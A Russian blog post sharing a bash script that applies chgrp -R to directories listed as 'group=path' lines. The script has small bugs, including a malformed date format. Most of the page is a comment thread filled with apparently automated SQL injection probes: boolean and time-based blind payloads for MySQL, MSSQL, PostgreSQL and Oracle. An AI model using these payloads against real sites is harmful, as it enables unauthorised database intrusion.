bash->установка бита владельца директории из списка
Недавно пришлось решать немного странную задачку на BASH. Был список в текстовом формате:
Нужно было пройтись по каждому элементу списка и установить группу указанного в нём же.
На сервере стоял старый BASH, ассоциативных массивов, в котором ещё небыло.
Написал вот это:
Скрипт по умолчанию считывает текстовый файл "list", лежащий рядом, в его директории. Если есть потребность указать файл из другой директории, вызывайте скрипт так:
Ещё можно посмотреть help-сообщение, командой script --help.
группа=путь
- #!/bin/bash
- if [ "$1" == "--help" ] || [ "$1" == "help" ]
- then
- echo "Использование: <имя скрипта> <путь до списка> <путь до лог-файла> Все параметры не обязательны. Если скрипт не получит путь до файла-списка - попытается открыть файл 'list' в своей директории. Тоже самое касается лог-файла.";
- exit 0;
- fi
- if [ -z "$2" ]
- then
- log="log.txt";
- else
- log=$2;
- fi
- mess () {
- date=`date %D-%r`;
- echo "[ $date] $1" >> $log;
- echo "[ $date] $1";
- if [ "$2" -eq 1 ]
- then
- exit 1;
- fi
- }
- if [ -w "$log" ]
- then
- echo "";
- else
- mess "Лог-файл не доступен для записи." 0;
- fi
- if [ -z "$1" ]
- then
- l="list";
- else
- l=$1;
- fi
- list=$(cat $l);
- if [ -z "$list" ]
- then
- mess "Ошибка при открытии файла-списка!" 1;
- fi
- for i in $list;
- do
- group=`echo $i|cut -d "=" -f 1`
- dir=`echo $i|cut -d "=" -f 2`
- if `chgrp -R $group $dir`
- then
- mess "Установлена группа '$group' для дир. '$dir'" 0;
- else
- mess "Ошибка при обработке дир. '$dir'" 0;
- fi
- done
script <путь-до-файл-листа> <путь-до-лог-файла>
nEcdyGgx 13 Augustа в 18:33 #
555
nEcdyGgx 13 Augustа в 18:36 #
555
nEcdyGgx 13 Augustа в 18:36 #
555
nEcdyGgx 13 Augustа в 18:36 #
555
nEcdyGgx 13 Augustа в 18:36 #
555
nEcdyGgx 13 Augustа в 18:36 #
-1 OR 2+703-703-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:36 #
-1 OR 3+703-703-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:36 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:36 #
-1 OR 3*2>(0+5+703-703) --
nEcdyGgx 13 Augustа в 18:36 #
-1 OR 2+836-836-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:36 #
-1 OR 3+836-836-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:36 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:36 #
-1 OR 3*2>(0+5+836-836)
nEcdyGgx 13 Augustа в 18:36 #
-1' OR 2+791-791-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:36 #
-1' OR 3+791-791-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:36 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:36 #
-1' OR 3*2>(0+5+791-791) --
nEcdyGgx 13 Augustа в 18:36 #
-1' OR 2+427-427-1=0+0+0+1 or 'LROlOGqn'='
nEcdyGgx 13 Augustа в 18:36 #
-1' OR 3+427-427-1=0+0+0+1 or 'LROlOGqn'='
nEcdyGgx 13 Augustа в 18:36 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:36 #
-1' OR 3*2>(0+5+427-427) or 'LROlOGqn'='
nEcdyGgx 13 Augustа в 18:36 #
-1" OR 2+323-323-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:36 #
-1" OR 3+323-323-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:36 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:36 #
-1" OR 3*2>(0+5+323-323) --
nEcdyGgx 13 Augustа в 18:36 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:36 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:36 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:36 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:36 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:36 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:36 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:36 #
Zs3j9xIF'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:36 #
-5 OR 791=(SELECT 791 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:36 #
-5) OR 297=(SELECT 297 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:36 #
-1)) OR 123=(SELECT 123 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:36 #
o2V9EOAy' OR 584=(SELECT 584 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:36 #
4zXheLSO') OR 16=(SELECT 16 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:36 #
yujgaOED')) OR 596=(SELECT 596 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:36 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:36 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:36 #
1'"
nEcdyGgx 13 Augustа в 18:36 #
@@xOjEW
nEcdyGgx 13 Augustа в 18:47 #
555
nEcdyGgx 13 Augustа в 18:53 #
555
nEcdyGgx 13 Augustа в 18:53 #
555
nEcdyGgx 13 Augustа в 18:53 #
555
nEcdyGgx 13 Augustа в 18:53 #
555
nEcdyGgx 13 Augustа в 18:53 #
-1 OR 2+973-973-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:53 #
-1 OR 3+973-973-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:53 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:53 #
-1 OR 3*2>(0+5+973-973) --
nEcdyGgx 13 Augustа в 18:53 #
-1 OR 2+968-968-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:53 #
-1 OR 3+968-968-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:53 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:53 #
-1 OR 3*2>(0+5+968-968)
nEcdyGgx 13 Augustа в 18:53 #
-1' OR 2+704-704-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:53 #
-1' OR 3+704-704-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:53 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:53 #
-1' OR 3*2>(0+5+704-704) --
nEcdyGgx 13 Augustа в 18:53 #
-1' OR 2+970-970-1=0+0+0+1 or 'OJj6HVxI'='
nEcdyGgx 13 Augustа в 18:53 #
-1' OR 3+970-970-1=0+0+0+1 or 'OJj6HVxI'='
nEcdyGgx 13 Augustа в 18:53 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:53 #
-1' OR 3*2>(0+5+970-970) or 'OJj6HVxI'='
nEcdyGgx 13 Augustа в 18:53 #
-1" OR 2+957-957-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:53 #
-1" OR 3+957-957-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:53 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:53 #
-1" OR 3*2>(0+5+957-957) --
nEcdyGgx 13 Augustа в 18:53 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:53 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:53 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:53 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:53 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:53 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:53 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:53 #
sik7iCiD'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:53 #
-5 OR 118=(SELECT 118 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:53 #
-5) OR 95=(SELECT 95 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:53 #
-1)) OR 230=(SELECT 230 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:53 #
50fZu7Tg' OR 698=(SELECT 698 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:54 #
FgqcOnYd') OR 727=(SELECT 727 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:54 #
Uy2D4NY9')) OR 420=(SELECT 420 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:54 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:54 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:54 #
1'"
nEcdyGgx 13 Augustа в 18:54 #
@@ZKDvI